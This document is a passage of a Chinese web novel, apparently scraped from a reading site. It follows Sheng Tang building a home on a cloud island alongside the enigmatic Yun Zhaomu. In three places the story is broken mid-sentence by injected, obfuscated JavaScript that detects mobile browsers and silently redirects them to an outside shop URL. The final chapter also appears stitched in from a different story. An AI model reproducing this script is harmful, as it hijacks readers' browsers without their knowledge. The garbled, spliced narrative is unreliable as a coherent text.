他回到云朵屋核心前,深吸一口气,拿出了那块紫黑色光晕流转的【虚空凝核】。 连接的过程比预想中顺利得多。他只是将凝核触碰那根连接着核心的云绳,一道暗紫色的流光便顺着绳索蜿蜒而下,悄无声息地融入了核心之中。 手机长震了一下,一条全新的提示弹了出来。 【检测到次级秩序能量接入,是否建立辅助共鸣?】 【效果:云朵屋核心能源上限临时+10,秩序辐射范围微弱提升(+1米),空间锚定效果小幅增强。】 【提示:该能量属性偏暗,与星核碎片的光明属性存在轻微排斥,共鸣效率为基准值的70%。】 次级秩序能量?属性偏暗? 盛棠皱了皱眉,有些难以理解,但还是选择了【是】。 多一点保障总是好的。 共鸣建立后,他感觉小屋周围的屏障似乎更加凝实了些,那种若有若无被窥视的不安感也淡化了。 他看向对面云团上的云朝暮,对方不知何时已经睁开了眼睛,浅灰色的眸子正静静地看着他手中的凝核,没有任何表示。 “这东西,除了共鸣,还有什么用?”盛棠主动开口问道。他需要信息。 云朝暮的视线从凝核移到盛棠脸上,停顿了几秒,才缓缓开口:“稳定……脆弱之物。” 他伸出手指,凌空指向云田里一株因为之前风雨有些歪斜的夜光藓。 盛棠福至心灵,立刻又拿出一根云绳,一头贴在凝核上,另一头小心地牵引入那株夜光藓所在的云田。 只见那株夜光藓周围浮现出极淡的紫黑色光晕,原本有些散乱的菌丝仿佛被无形的力量梳理过,缓缓收拢。植株也慢慢挺立起来,连发出的微光都稳定了不少。 【夜光藓状态:稳定(受虚空凝核能量影响,生长速度+5%,不易受外力干扰)】 好东西!盛棠心中一动。如果能用来稳定云田里的植物,那价值就太大了。尤其是那些娇贵的、还没长成的稀有云植。 “它能影响所有云植?”盛棠追问。 “生命体……效果佳,非生命……效果弱。”云朝暮的回答依旧简洁,但给出的信息却很关键。 这意味着它对活着的植物效果更好,对云砖、工具这些死物效果一般。 盛棠点点头,暂时压下了用它将所有云田都“加固”一遍的冲动。能量宝贵,不能浪费。 而且,他其实更在意的是另一个问题。 “你说你的云散了。”盛棠走到云岛边缘,望着无垠云海,“这云海……经常会这样散掉吗?” 虽然道理他都懂,但时间长短也很关键!如果脚下云层的不稳定性特别高,那他所有的建设都像沙上筑塔,随时可能垮掉。 云朝暮顺着石桥走到他身边,与他并肩望向远方。 “云……有生有灭。”他淡淡地说,“此处云层,古老,厚重。但……边缘稀薄,易受……噬云暗流侵蚀。” “噬云暗流?”盛棠捕捉到了一个新词。 云朝暮抬起苍白的手指,指向东南方向的天空尽头。那里,云层的颜色似乎比别处更深沉一些,像蒙着一层不易察觉的灰色纱幔。 “那里。暗流经过之处,云会无声无息消失。”他顿了顿,补充道,“你的岛……暂时安全。但暗流……会移动。” 盛棠的心沉了下去。果然,最大的威胁并非来自看得见的云兽或天气,而是这云海本身的变化。他这片云岛,并非永恒乐土。 “有办法预警或者抵御吗?” 云朝暮摇了摇头,浅灰色的眼眸里没有任何波澜:“感知可以。抵御……难。需要……更强的锚。” 他的目光似有若无地扫过小屋内的星核碎片。 更强的锚……盛棠默然。 星核碎片已经是传说级物品了,更强的锚要去哪里找?这云海之下,究竟还隐藏着多少秘密和危险? 午后,远处的云海突然传来一阵骚动。 是某种尖锐、急促的鸣叫,还夹杂着翅膀剧烈拍打的声音。 盛棠立刻警觉起来,抓起云铲。就连一直萎靡的阿团也竖起了耳朵,紧张地望向声音来源。 只见一群约七八只、翅膀边缘闪烁着电火花的闪电云雀,正惊慌失措地朝着云岛方向飞来。 它们身后,紧追着一小片翻滚的、颜色晦暗的混乱云气。那云气所过之处,正常的白云都被染上污渍般的灰色,并且迅速变得稀薄。 “是蚀云瘴!”云朝暮不知何时出现在了盛棠身后,语气依旧平淡,但语速快了一丝,“能腐蚀云体,扰乱能量。” 眼看那群云雀就要被蚀云瘴追上,一旦被卷入,后果不堪设想。 盛棠下意识举起云铲,一铲子拍了过去,但拍了个空。 面对这种无形的能量体,他的云铲毫无用处。 就在这时,云朝暮上前一步,伸出了他那只苍白得近乎透明的手,虚按向那片混乱云气的前方。 刹那间,盛棠感觉到周围的光线微微扭曲了一下,那团汹涌而来的蚀云瘴像是撞上了一堵看不见的墙壁,速度骤减,并且开始剧烈地翻腾、消耗。规模也以肉眼可见的速度缩小,最终消散于无形。 得救的闪电云雀们惊魂未定,落在云岛边缘,发出感激又后怕的鸣叫。为首一只体型稍大、尾羽特别修长的云雀,犹豫了一下,飞到了盛棠和云朝暮面前,低下头,从喙中吐出一小颗噼啪作响的、蓝白色的结晶。 【获得:雷电结晶(微弱)x1】 盛棠诧异地看向那只云雀:“你要给我这个?” 云雀点了点脑袋,目光落在云朝暮身上一瞬,整个身子猛地一颤,然后把目光偏了回来。 它垂下头去,用脑袋顶了顶那个结晶,让它滚到了盛棠的脚边。 “叽啾!叽啾!”云雀拍了拍翅膀。 盛棠捡起那枚结晶,往手机的摄像头下一放—— 【雷电结晶(微弱)】 【分类:消耗品】 【描述:闪电云雀感激的赠礼,蕴含微弱的雷电能量。可用于为小型设备短暂供能,或作为某些合成配方材料。】 云雀首领又冲着云朝暮清脆地叫了几声,这才带领族群振翅飞远。 盛棠心情复杂地看向云朝暮。刚才那一手轻描淡写的空间稳定,展现出的力量远超他的想象。 这家伙,绝对是个危险人物。 但同时,他似乎……并不滥用自己的力量,甚至会在一定程度上维持这片云海的“秩序”? “谢谢。”盛棠说道,不管怎样,对方刚才算是帮了忙,避免了一场可能的灾难。 云朝暮只是淡淡地“嗯”了一声,目光却追随着远去的云雀,浅灰色的眼底似乎掠过一丝难以捕捉的情绪。 “蚀云瘴,常见吗?”盛棠趁机打探。 “不常见。但近段时间……频率高了。”云朝暮收回目光,看向盛棠,“云海……不太平静。” 这已经是第二次暗示了。云海正在发生变化,而且可能不是好的变化。 盛棠沉默片刻,将手中的雷电结晶递向云朝暮:“这个,你需要吗?” 云朝暮看了一眼结晶,摇了摇头:“能量太弱,于我无用。”他顿了顿,忽然看向盛棠工作台上的工具,“你的……工具,该升级了。” 盛棠一愣。 云朝暮走到那个基础工具台前,伸出一根苍白的手指,轻轻点在简陋的台面上。 “基础材料,效率低。”他平铺直叙地说,“加【凝实云絮】,【碎云铁】的比例,提到三比一,会更稳。” 他一边说,指尖一边在台面上看似随意地划了几下。盛棠的心一下子提到了嗓子眼——这可是系统给的东西!就算要升级,也该是系统……系……等等?! 盛棠瞪大了眼睛。他看见,在云朝暮指尖点过、划过的地方,基础工具台的表面竟然泛起了极微弱的光,结构的纹理似乎也变得比以前更细密、更紧实了! 手机适时一震: 【基础工具台得到未知优化,工作效率提升5%,耐久度提升10%。】 盛棠简直不敢相信自己的眼睛。这家伙……不光知道配方,还能直接“动手”优化?不对,这根本是绕过了系统,直接改变了物品本身?!他到底什么来头?! “你……还懂这个?”盛棠的声音里带着压不住的惊讶。 云朝暮收回手,又恢复了那副没什么表情的样子:“只是……记得一点。很多……忘了。” 又是记不得了。盛棠把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086358|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追问的话咽了回去,他知道再问也问不出更多。 但云朝暮展现出的能耐,已经远远超过一颗虚空凝核了。如果他真的知道更高级的制造方法…… 一个大胆的念头在盛棠心里冒了出来。 “云朝暮,”他吸了口气,认真地看着对方,“三天后,要是你的云还没聚起来,你打算去哪?” 云朝暮转过头,望着望不到边的云海,沉默了很久,久到盛棠以为他又不吭声了。 “不知道。”他最后说,声音里听不出什么情绪,“跟着云……飘吧。” “也许……”盛棠字斟句酌地说,“我们可以做个更长期的……交换?” 云朝暮浅灰色的眼睛转过来,静静地看着他,等他说下去。 “你可以暂时在附近待着。作为交换,我提供基本的吃的喝的。而你呢……” 盛棠指了指刚被优化过的工具台,又指了指外面变幻莫测的云海,“在我需要的时候,像刚才那样帮个忙,比如提个醒哪儿有危险,或者……说说你还记得的、有用的东西,比如怎么做更好用的家伙事儿,或者云海里哪些东西有用、哪些得躲着。你觉得呢?” 盛棠紧紧盯着云朝暮,等他回答。其实他开出的条件没什么太大的吸引力,但他就是在赌,赌云朝暮眼下没别的地方可去,而且……似乎对自己这个人有点好奇。 盛棠不自觉地咽了口口水。说实在的,硬要把这么个危险的“未知数”留在身边,确实不太明智。可眼前这个人,除了让人看不透,好像还知道很多事,能带来不少新知识。 他忽然觉得,就这么放走,有点舍不得了。 云朝暮沉默了。就在盛棠以为他会拒绝的时候,他极轻、极轻地点了下头。 “可。” 虽然只有一个字,但盛棠心里悬着的那块石头,总算是暂时落了地。至少,在摸清对方更多底细之前,能把人放在眼皮子底下看着。 协议算是达成了,气氛好像也缓和了一丁点儿。盛棠趁机拿出些用风滚草籽捏的饼,递给云朝暮。 对方接过去,依旧是小口小口地吃,样子不像在享受食物,倒像在执行某个必要的步骤。 夕阳慢慢沉下去,把云海染成一片绚烂的金红。盛棠开始每天照例检查云田。日光草的光晕在夕阳里显得更暖了,夜光藓的紫光随着天色变暗,开始幽幽地亮起来。 看着还有空着的云田,盛棠想了想,还是把回音花的种子种了下去。 “要是有月影菌的种子就好了,”他忍不住嘀咕,“既能吃,好像还有点安神的作用。阿团要是再被吓着,我也能有点办法。” 云朝暮的耳尖似乎几不可察地动了一下,朝盛棠这边看了一眼,不知道在想什么。 夜幕落下,星光洒满云海。云朝暮回到他那简陋的遮棚底下,盘腿坐下,又像之前那样,一动不动,仿佛入定了。 阿团和它的族人们好像稍微适应了一点点,虽然还是不敢靠近,但至少不再抖个不停了,挤在一块儿睡着了。 盛棠坐在小屋门口,望着满天星星,心情却没法完全放松下来。 蚀云瘴、噬云暗流、不再平静的云海、云朝暮深不可测的能力和他那些破碎的记忆……所有这些都指向一个事实:这片看起来安宁的云海,底下暗流涌动。 他不再只是那个光顾着填饱肚子、努力活下来的独行客了。他必须更快地强大起来,把家园建得更坚固,弄明白更多事情,才能应对将来可能出现的、更大的风浪。 他打开建造界面,目光落在那个还是灰色的【简易信号塔】蓝图上。 也许……是时候试着和外界联系了?多一个朋友,总比多一个像云朝暮这样摸不透的“邻居”要强吧。 当然,前提是,信号发出去,招来的是朋友,而不是敌人。 【生存日志更新】 【星月历7045年1月21日,10:08:37】成功运用虚空凝核力量,云田稳定性提升。 【星月历7045年1月21日,11:08:37】遭遇并击退“蚀云瘴”,获得闪电云雀赠礼:雷电结晶x1。 【星月历7045年1月21日,14:08:37】云朝暮展现出空间稳定能力与高级制造知识(部分),价值评估大幅上调。 【星月历7045年1月21日,18:08:37】与未知存在“云朝暮”达成临时互助协议。 【当前生存状态:感觉还能再折腾好一阵子(饱腹值88/100,精力值75/100)】 【当前任务:扩大云田规模(进行中),建造简易信号塔(进行中)】 18. 第一次暗流 盛棠是被一种细微的、持续不断的“沙沙”声惊醒的。不像云兽的动静,倒更像是……沙子正在慢慢流走的声音。 他心里一紧,猛地坐起来,第一反应就看向门洞外的云海。天刚蒙蒙亮,铅灰色的云层压得很低,空气里有种闷得让人心慌的安静。而那“沙沙”声,好像就是从脚底下传来的。 他立刻趴下身,把耳朵贴在冰凉的云砖地面上听。声音更清楚了,确实是云絮在缓慢摩擦、流失的细微声响,而且是从云岛的边缘方向传来的。 一股不祥的预感抓住了他。他冲出小屋,直奔云岛的东南侧。 就是昨天云朝暮指过的,说噬云暗流可能过来的方向。 眼前的景象让他的心一下子沉到了底。 原本厚实的云岛边缘,出现了一道差不多两米长、最宽的地方有巴掌那么大的裂缝。裂缝边缘的云絮正以一种缓慢但肉眼可见的速度变得松散、剥落,化成细细的云尘,悄无声息地掉进下面深不见底的云渊里。裂缝周围的云面颜色也显得更浅、更“干”,好像没了生气。 “噬云暗流……”盛棠喃喃道,云朝暮的警告在耳边回响。这暗流不是一口吞掉你,而是像一种安静的腐蚀,从里面慢慢把云层搞垮。 他马上打开建造界面,想用云砖把裂缝补上。但系统提示冷冰冰地弹了出来。 【警告:目标区域结构不稳定,常规材料无法有效附着。建议使用具有空间锚定或高凝聚性材料。】 具有空间锚定效果的材料……他立刻想到了星核碎片和虚空凝核。但这俩一个是家的核心能源,一个是珍贵物品,怎么可能拿来填裂缝? 就在这时,一个平静的声音在身后响起:“用这个。” 盛棠回头,看到云朝暮不知什么时候已经站在他身后,递过来几块看起来灰扑扑、颜色深得近乎墨黑的石头。 石头表面布满细密的小孔,拿在手里却格外沉,透着一股凉意。 【蚀刻云岩x5】 【分类:材料(稀有)】 【描述:被噬云暗流长期侵蚀后残留的云核精华,密度极高,空间稳定性强。可以用来修补受损的云基,或者合成高级建筑材料。】 【备注:通常只有在暗流活跃区域的深处才能找到,很难采集。】 盛棠惊讶地看向云朝暮:“你从哪儿……” “昨夜。暗流边上。”云朝暮言简意赅,浅灰色的眼睛扫过那道裂缝,“它们……喜欢这个。” 它们?是指噬云暗流本身,还是暗流里的什么东西? 盛棠没问,他知道问了也得不到答案。他接过蚀刻云岩,按照云朝暮无声的示意,把云岩塞进裂缝里。 云岩一碰到不稳定的云层,表面的小孔就像活过来一样,开始主动吸收周围的碎云絮,并且以肉眼可见的速度和周围的云基融合、变硬。 不过几分钟,那道吓人的裂缝就消失了,原地变成了一小片颜色更深、摸起来更结实的云面,用手敲敲,发出“咚咚”的闷响。 【云岛东南侧基础稳固度恢复至100%】 【获得新蓝图:基础云基加固(需蚀刻云岩x1或凝实云砖x3)】 危机暂时解除了,但盛棠惊出了一身冷汗。如果不是云朝暮提前警告又给了关键材料,他可能等到云岛出大问题才会发现。 这种悄无声息的侵蚀,比什么狂风暴雨都可怕。 “这种情况,以后会经常发生吗?”盛棠心有余悸地问。 云朝暮望向东南边那片颜色更深的云海,没有直接回答,而是说:“暗流……在靠近。这里……是支流。主干……更远,但方向……是这边。” 意思是,他们现在只是被暗流的一条小分支蹭到了,真正的大部队正朝着这个方向来? 盛棠的心彻底沉了下去。这等于说,他的云岛根本不是安全孤岛,而是坐在了一个快要喷发的火山口上。 必须加快速度了!加固家园,提升实力,找到退路或者应对的办法! 带着强烈的紧迫感,盛棠开始了新一天的忙碌。他先看了看云田的情况。 那株被虚空凝核滋养过的【回音花】嫩芽,一夜之间居然抽出了两片指甲盖大小的、银白色的心形叶子。叶子薄得像蝉翼,对着光看,能看见里面细细密密的、像电路板一样的银色纹路。 【回音花进入快速生长期,预计成熟时间缩短至36小时。】 果然,高浓度的秩序能量环境,对云植生长有极好的促进作用! 盛棠不再犹豫,他小心地引导虚空凝核的力量,像织一张看不见的网,轻轻覆盖在旁边那块种着日光草的云田上。 效果立竿见影。 日光草顶端的光晕肉眼可见地亮了一丝,系统显示它的储能进度从92%跳到了95%。 接着,他拿出了之前阿团送的【冰霜叶】和闪电云雀答谢的【雷电结晶】。 他记得云朝暮提过“特殊配方”,虽然没具体说是什么,但这两种材料都有特殊属性,说不定能一起用? 不过稀有的材料就这么用掉,多少有点浪费…… 盛棠的眼神闪了闪,有点犹豫。 可扭头再看看云岛边缘被“啃”过的地方,那点犹豫立刻就烟消云散了。 家都快保不住了,还心疼什么稀有材料?现在的头等大事是想尽办法合成出更多有用的东西来保命啊! 抱着试一试的心态,他把这两样东西和几朵基础云絮一起放到了基础工具台上。 惊喜出现了!工具台闪过一道蓝白交织的光,提示跳了出来: 【检测到可合成配方:元素共鸣基质】 【合成成功:元素共鸣基质(微效)x1】 【描述:蕴含微弱冰雷元素的特殊基质,可以大幅提升特定云植抵抗恶劣环境和加快生长的能力。】 【使用:撒在云田里,效果持续12小时。】 盛棠立刻把这撮闪着细微电弧、冒着丝丝寒气的基质,撒在了日光草、夜光藓和回音花的根部。 几乎是瞬间,日光草的叶片边缘凝出了一层薄薄的白霜,但植株本身反而显得更精神了,光晕流转的速度也加快了。回音花的叶子也微微颤抖起来,表面浮现出极淡的蓝色电纹。 【日光草、回音花获得“元素共鸣”状态,抗恶劣环境能力小幅提升,生长速度+15%。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086359|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 倒是夜光藓一点变化都没有。 盛棠有点惋惜地看了看那片夜光藓,唉,浪费了一半的好材料。 利用生长加速的效果,盛棠把最后几颗日光草种子也赶紧种了下去。 接着,他就开始了玩命似的捕捞。 目标特别明确。基础云絮、凝实云絮、湿润的云核碎片……凡是能用来加固家园的材料,他全都要。 云朝暮偶尔会睁一下眼,目光扫过远处的云海,然后平静地指向某个方向。 盛棠就顺着他指的方向去捞,十次里有八九次都能捞到些平时少见的好东西,比如【韧性云藤】、【流光云母】什么的。 效率比他之前自己瞎找高太多了,甚至比有云鼹鼠们帮忙的时候还要快一些。 云鼹鼠们似乎还是没法接受云朝暮的存在。它们瑟缩在角落里,黑豆似的小眼睛警惕地盯着云朝暮,一副“你不乱动,我们也不动”的架势。 几个小时下来,好几只年纪小的鼠鼠都扛不住,直接累晕过去了。 盛棠一边忙着捕捞,一边抽空去看它们的情况,见它们这样,心里止不住地疼,但又实在没办法。 云鼹鼠对云朝暮的恐惧是发自本能的,这种刻在骨子里的害怕,不是他三言两语就能劝好的。 最好的办法是把它们分开。可云鼹鼠早就把这云岛当成了家,而云朝暮又是他自己点头同意留下来的。两边谁都不可能搬走,这可就难办了。 盛棠默默叹了口气。活了这么多年,头一回体会到这种左右为难的滋味。 “我饿了。”云朝暮忽然开口说了一句。 盛棠这才注意到,不知不觉已经到中午了,而他随身带的背包也被各种杂七杂八的东西塞得满满当当。 他懒得细看背包,把手机往裤兜里一塞,挠挠头走到云灶旁边。 灶台上放着好几个大小不一、但造型都歪七扭八的“锅”。这都是他忙着捕捞那会儿,云朝暮和云鼹鼠们的“杰作”。 或许因为都是云海原住民,它们操纵云絮的水平可比盛棠高多了,甚至不用盛棠帮忙捕捞材料,自己就能熟练地用系统操作台捣鼓东西。 可惜……可能因为都不是人,手和爪子都笨笨的,做出来的东西歪歪扭扭,丑得不行。 但丑归丑,好歹是完整的,能用啊! 盛棠随手拿起一个看起来勉强能用的锅,从云井里打了点水,准备炖一锅简单的云菇汤。 他把锅往灶火上一放。 手机安安静静,连最基本的烹饪提示都没弹出来。 盛棠:“?” 他拿起锅子,又重新放了一次。还是没有。 他不信邪,又试了一次。依旧静悄悄。 盛棠有点恼了。他干脆把锅往地上一搁,直接从背包里摸出一条云菇,丢进火里。 熟悉的烹饪信息终于跳了出来: 【检测到有食材进入烹饪区,请选择烹饪方式。】 【烤制】【炖煮(需锅)】 盛棠:“……” 所以,不是灶台坏了,而是这锅……丑得过于离谱,以至于灶台压根儿没把它认出来是个“锅”?! 19. 争宠?云朝暮和阿团? 盛棠低头看了看手里这个勉强能叫“锅”的东西,又看了看灶台上其他几个歪瓜裂枣的“作品”。 好吧,手上这个居然已经是造型最规整的了。 看来炖汤是没戏了。盛棠叹了口气,准备老老实实的烤云菇吃。 “我想喝汤。”云朝暮平平板板的声音忽然响起。 盛棠一愣,看向他。这位爷居然主动提要求了? 还没等他反应,缩在角落里的云鼹鼠们也跟着发出了细弱的“啾啾”声,一双双黑豆眼湿漉漉地望着他,意思再明显不过,它们也想喝点热乎的。 阿团更是直接从角落里窜了出来,顺着盛棠的裤腿灵巧地爬到他肩膀上,用毛茸茸的小脑袋一下下蹭着他的脸颊,喉咙里发出撒娇般的呼噜声。 盛棠:“……” 他无奈地指了指地上那口不被系统承认的丑锅:“不是我不做,是这灶台它不认这锅啊!这灶是系统给的,没有提示,我也不知道自己能不能炖出能喝的汤……” 他话音未落,云朝暮浅灰色的眸子转了过来,定定地看着他,然后,用那平直无波的语调,说出了有史以来最具“人气”的一句话:“你是不是,没有系统,就不会做饭了?” 盛棠:“???” 我这暴脾气! “我做给你看!”盛棠被这话一激,那点犹豫和不自信瞬间被扔到了九霄云外。他弯腰捡起那口丑锅,又去云井打了水,一股脑倒进锅里。 没有系统提示是吧?行,那就凭感觉来! 他回忆着以前在家炖汤的步骤,把云菇撕成小块扔进锅里,想了想,又切了点风滚草籽撒进去增加点谷物香气。没有油盐酱醋,他就试着掰了一小片之前晒干的、有点咸味的云苔丢进去。 把丑锅架到灶火上,蓝色的火焰舔着锅底。盛棠干脆也不看手机了,全神贯注地盯着锅里慢慢开始冒泡的水。 水渐渐滚开,云菇的鲜味混着一点淡淡的咸香和草籽的谷物气息飘散出来。盛棠用云铲小心地搅动着,防止粘底。 云鼹鼠们不知何时悄悄围拢了过来,小鼻子一耸一耸的,眼巴巴望着锅里。 云朝暮依旧盘膝坐在不远处,但目光也落在了那口咕嘟咕嘟冒泡的丑锅上,脸上依旧没什么表情,只是那浅灰色的眼底,似乎有极细微的波动。 渐渐地,一股虽然简单却足够温暖醇厚的香气,在小屋周围弥漫开来。 云朝暮不知什么时候悄无声息地走到了盛棠身后。盛棠只觉得肩膀上的阿团浑身毛发瞬间炸开,粗硬的毛尖扎得他皮肤生疼。 他倒吸一口凉气,还没完全反应过来,一只苍白的手就从旁边伸了过来,捏住阿团的后颈皮,轻巧地越过他的胳膊,把它直接放在了滚烫的灶台边缘。 那团蓝色的灶火像是感知到了新的“食材”,火苗“呼”地一下蹿高,炽热的火舌径直卷向吓得僵住的阿团! 阿团:“啾啾啾——!!!!!!” “阿团!”盛棠魂都快吓飞了,手比脑子快,一把将浑身冒烟的小毛团从火边捞回来,手忙脚乱地拍打着它身上跳跃的火星子。直到确认火星全灭了,他才心有余悸地把还在发抖的阿团放到地上。 地上的阿团看起来可怜透了。一身雪白蓬松的毛发被燎得黑一块、焦一块,东一簇西一簇地卷着,还冒着淡淡的焦糊味。它似乎还没从刚才差点变成“烤云鼹鼠”的惊吓中回过神来,呆呆地仰着黑乎乎的小脸,望向盛棠,迷茫又委屈地小声叫了一下:“啾……?” 能叫出声,说明没大事。盛棠提着的心这才放下一半,随即怒火“噌”地冒了上来。他猛地扭头看向身后的“罪魁祸首”,忍不住提高了声音:“这是阿团!我的邻居!不是给你准备的食材!” 他现在算是看明白了,云朝暮绝对是故意的! 以这家伙对这片云海、对这个系统的特殊感知力,不可能不知道活物靠近灶火会被判定为“可加工材料”。但他还是这么做了。 怪不得云鼹鼠们怕他怕到骨子里,这简直是个无法用常理揣度的“危险分子”! 云朝暮似乎完全不觉得自己的行为有什么问题。他微微歪了歪头,浅灰色的眼眸平静地看了看地上那团黑乎乎、脏兮兮的小东西。 这小家伙,在他看来,明明就在可食用的范畴内。放在火边,有什么不对吗? “你答应过我,不跟我的邻居为难的。”盛棠第一次对云朝暮露出了严肃的表情,“这是第一次。如果再有下一次,请你离开我的家。” 云朝暮不明所以地看着盛棠。 他不明白,眼前这个人怎么突然就生气了。他低头瞥了一眼旁边黑乎乎、脏兮兮的云鼹鼠,皱了皱眉头。 好吧,他之前好像听其他云上的“居民”提过,寄人篱下,要学会低头。 既然这片云岛的主人格外在意这些毛茸茸的小东西,那他……把它们当空气好了。 云朝暮抬起头,看向盛棠的眼睛,一板一眼地重申:“我饿了。” 与此同时,锅里的水恰好滚沸到了最浓稠的状态,手机的提示音也“叮”地响了,显示汤已烹煮完成。 盛棠:“……” 教训人的气氛就那么一点点,一旦被戳破,也就续不上了。 盛棠挫败地挠了挠头,先把锅从灶火上挪开,然后小心地捧起惊魂未定的阿团,把它放到了一个离云朝暮和灶台都远远的位置。 他先给瑟瑟发抖的云鼹鼠们盛了几小碗热汤,又撕了不少软烂的云菇碎进去,看着它们小口小口、边吃边警惕地偷瞄云朝暮,这才把剩下的汤盛了一大碗,端给云朝暮。 因为不是系统标准出品,这锅汤的卖相实在有点……惨不忍睹。 汤色是一种浑浊的、说不上是灰白还是淡黄的颜色,漂浮着大小不一、形状各异的云菇块和草籽碎,表面还飘着几片煮化了的、颜色发暗的云苔,看起来黏糊糊的。整个就是一大锅食材乱炖的即视感。 但香气却是实打实的足。热腾腾的蒸汽带着云菇特有的鲜甜、风滚草籽被煮开后的谷物焦香,还有一丝若有若无的咸鲜,混合在一起,光是闻着就让人觉得胃里暖洋洋的。 盛棠给自己也舀了一碗,吹了吹,小心地喝了一口。第一感觉是烫,舌尖都微微发麻,紧接着是鲜,一种很透亮的鲜味,有点像用老母鸡慢炖出来的清汤,但完全没有那种油腻感。回味里还带着点云苔和草籽自带的草本甘香。 盛棠满足地舒了口气。果然,他的厨艺,不管丢到哪儿都是顶级的! 他不动声色地瞥向云朝暮。对方正一小口一小口地喝着汤,脸上依旧没什么表情,但喝汤的速度……比昨天吃草籽饼时快了不少,而且碗很快就见了底。 盛棠心里偷偷笑了一下。看来,这位云朝暮也很喜欢他煮的汤啊。 “云层积厚,能量滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087427|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涩。”他忽然开口,声音平淡无波,“明日,或有云絮暴。” 云絮暴?又是一个没听过的新词儿。听起来就很不妙。 “那是什么?危险吗?”盛棠立刻追问,心也跟着提了起来。他刚刚才觉得日子有点安稳的苗头。 “高速旋转的、很密的云絮团,带着很强的电。”云朝暮解释道,“会砸坏没保护好的东西,也会搅乱能量场。你的小屋……有核心稳住,应该能顶住。但外面这些……” 他目光扫过工作棚和云田,“得加固。” 又得加固!盛棠心里哀叹一声,感觉刚轻松点的肩膀又沉了下去。材料,他需要好多好多材料!就像个无底洞,刚填上一点,新的需求又冒了出来。 “除了蚀刻云岩,还有什么东西能防住这个?”他压下烦躁,赶紧追问。多了解一点,就多一分准备。 云朝暮组织了一下语言:“【流光云母】覆于表面,可偏转能量冲击。【韧性云藤】编织,可吸收物理动能。【雷击木】……最佳,但罕见。” 雷击木?盛棠愣了一下。云海上……还有木头? “可以导电。”云朝暮看向盛棠,语气认真,“插下去,把电,导入云层。” 盛棠顺着他的话想象了一下那场景:一道闪电劈下来,通过所谓的“雷击木”,直接导入脚下这片看似无边无际的云海……他猛地打了个冷颤,头皮一阵发麻。 不行!绝对不行!他在心里疯狂摇头。云的本质是水汽,导电性恐怕比大地只强不弱。 这哪是防御,简直是自杀!在雷暴天给自己脚下接一根引雷针,他还没活够呢! 这云朝暮的思路,果然和正常人不在一个频道上。 盛棠暗自腹诽,但面上不显,只是含糊地应了一声:“哦……雷击木,听着就很难找。” 他明智地决定不再深究这个危险的建议,将话题拉回现实:“看来当务之急,还是得多捞点流光云母和韧性云藤。” 盛棠叹了口气,开始清点背包里的收获。 多亏有云朝暮从旁指点,这次出去捕捞,他可以说是满载而归。韧性云藤捞到了6捆,流光云母拿到了10片,蚀刻云岩有3块,就连凝实云絮也攒了15团。 这个数量,虽然不够把整个工作区里三层外三层裹个严实,但重点加固几个关键区域,那是绰绰有余了。 盛棠站在那儿,打量着自己这块小小的云岛。小屋有星核碎片和虚空凝核这两块“宝贝”镇着,相对安全。但外头这些家当,可就脆弱多了。 虽说云田紧挨着工作区,可工作区范围太大,全保不现实,必须得有所取舍。 他琢磨了一下,决定舍弃那个【放置区域】。那块地方离云田最远不说,还就放了个里面空了一大半的储物箱,没必要太花心思。 而且箱子不重,真有事,自己也能飞快搬回来。 剩下的工作区主体部分紧贴着云田,用这6捆韧性云藤,织得粗糙点,应该也能覆盖住九成左右的面积。 至于那10片流光云母……贴在几个关键拐角,应该能最大程度地偏转冲击吧? “不够。”云朝暮的声音忽然响起。他望向盛棠正在估算材料的侧脸,摇了摇头:“即便你将云田里所有植株提前采收,放弃整片云田。” “6捆藤蔓编织的防护网,孔隙太大,拦不住高速旋转的云絮。你的工作区,依然保不住。” 20. 灾后的重建工作(上) 盛棠瘫在那团温乎乎的活性云上,菌丝还在一颤一颤的,后劲十足。 他瞅着那只虽然胆肥,但明显怕他怕到死贴着云鼹鼠不走的胖虫子,又瞄了眼平台边上那几撮被啃得七零八落、颜色发暗的褐色菌斑,心里那滋味…… 啧,复杂得菌褶都想打结。 累,真累。心累,菌丝更累,感觉被掏空。 但好歹……还活着。平台也还在,没有塌陷。这就比什么都强了。 他勉强打起精神,去看了那几株立了头功的星纹草。 虫子退散后,它们也像是耗干了力气,叶片又有点耷拉了。可底下那点根须却死死抠着云絮,叶面上那点银星子纹路也在昏沉沉的云海里头要灭不灭地闪着,半点没有要就地暴毙的意思。 盛棠赶紧又给它们滴了几滴攒下的云露。 这几株小祖宗可别真蔫了,他现在是半点没了继续下资源区的心思了。 